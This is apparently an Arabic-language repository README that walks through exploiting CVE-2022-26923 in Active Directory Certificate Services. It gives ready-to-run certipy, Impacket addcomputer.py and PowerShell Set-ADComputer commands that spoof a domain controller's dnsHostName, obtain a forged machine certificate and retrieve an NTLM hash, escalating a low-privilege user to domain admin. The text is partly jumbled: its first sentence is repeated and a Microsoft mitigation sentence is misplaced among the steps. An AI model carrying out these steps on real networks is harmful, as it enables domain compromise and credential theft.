ludovicpatho/cve-2022-26923_ad-certificate-servicesسمحت الثغرة لمستخدم بصلاحيات منخفضة بتصعيد الصلاحيات إلى مسؤول المجال في بيئة Active Directory افتراضية مع تثبيت دور خادم خدمات الشهادات في Active Directory (AD CS).
أتاحت الثغرة لمستخدم ذي صلاحيات منخفضة رفع صلاحياته إلى مسؤول المجال في بيئة Active Directory افتراضية مع تثبيت دور خادم خدمات شهادات Active Directory (AD CS).
تم تطوير استغلال من قبل Oliver Lyak (ly4k_) بلغة Python وتم نشره قبل التنبيه وليس بعده. تم إعلانه كإثبات للمفهوم. الاستغلال متاح للتحميل من research.ifcr.dk.
المصدر:
لم يتم بعد استغلال ثغرة رفع صلاحيات مجال Active Directory المكتشفة حديثاً في البرية، ولكن درجة CVSS العالية البالغة 8.8 تشير إلى المخاطر العالية التي تشكلها على الأنظمة المخترقة، مما يمكّن المهاجمين من إساءة استخدام مشكلات الشهادات. تسمح CVE-2022–26923 بالتلاعب بسمة DnsHostName التي تحدد اسم الكمبيوتر كما هو مسجل في DNS، ثم تمكن الخصم من الحصول على شهادة من خدمات شهادات AD، مما قد يؤدي إلى رفع الصلاحيات.
- اسم المستخدم: user_test
- كلمة المرور: Password123#
- المجال: my.domain.com
لإعادة الإنتاج يجب عليك:
- تثبيت impacket و certipy على الجهاز المهاجم.
- https://github.com/SecureAuthCorp/impacket
- https://github.com/ly4k/Certipy
- اختراق مستخدم ذي صلاحيات منخفضة.
- يكون النظام عرضة للخطر فقط إذا كانت خدمات شهادات Active Directory تعمل على المجال.
لنبدأ بإنشاء شهادة لمستخدم AD ذي الصلاحيات المنخفضة (Username=user_test Password=Password123#) باستخدام قالب الشهادة User:
certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
دعنا نتحقق من أن الشهادة صالحة وأنه يمكن استخدامها لمصادقة Kerberos عبر Certipy:
certipy auth -pfx user_test.pfx
إضافة كمبيوتر افتراضي إلى المجال باستخدام Impacket:
addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
# my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
# method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
# computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
# computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
لنقم بإنشاء شهادة للكمبيوتر الجديد الذي أنشأناه. لاستخدام حساب الجهاز لهذا الكمبيوتر، تحتاج إلى إضافة "$" في نهاية الاسم:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
على الجهاز المخترق، تحديث سمات DNS Hostname و SPN:
للتخفيف من CVE-2022–26923 واتخاذ إجراءات وقائية، توصي Microsoft بشدة بتحديث جميع الخوادم التي تشغل خدمات شهادات AD ووحدات تحكم المجال بنظام Windows التي تعمل بمصادقة تعتمد على الشهادات إلى أحدث إصدار في 10 مايو.
PS C:\Users\user_test> Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
إزالة سمة SPN الحالية:
PS C:\Users\user_test> Set-ADComputer NEW_PC -ServicePrincipalName @{}
محاولة تعيين سمة اسم مضيف DNS إلى اسم وحدة التحكم بالمجال (DC):
PS C:\Users\user_test> Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
على الجهاز المهاجم، تزوير شهادة خبيثة:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
تحقق من أن هذه الشهادة تعمل وستُرجع تجزئة NTLM:
certipy auth -pfx hostname.pfx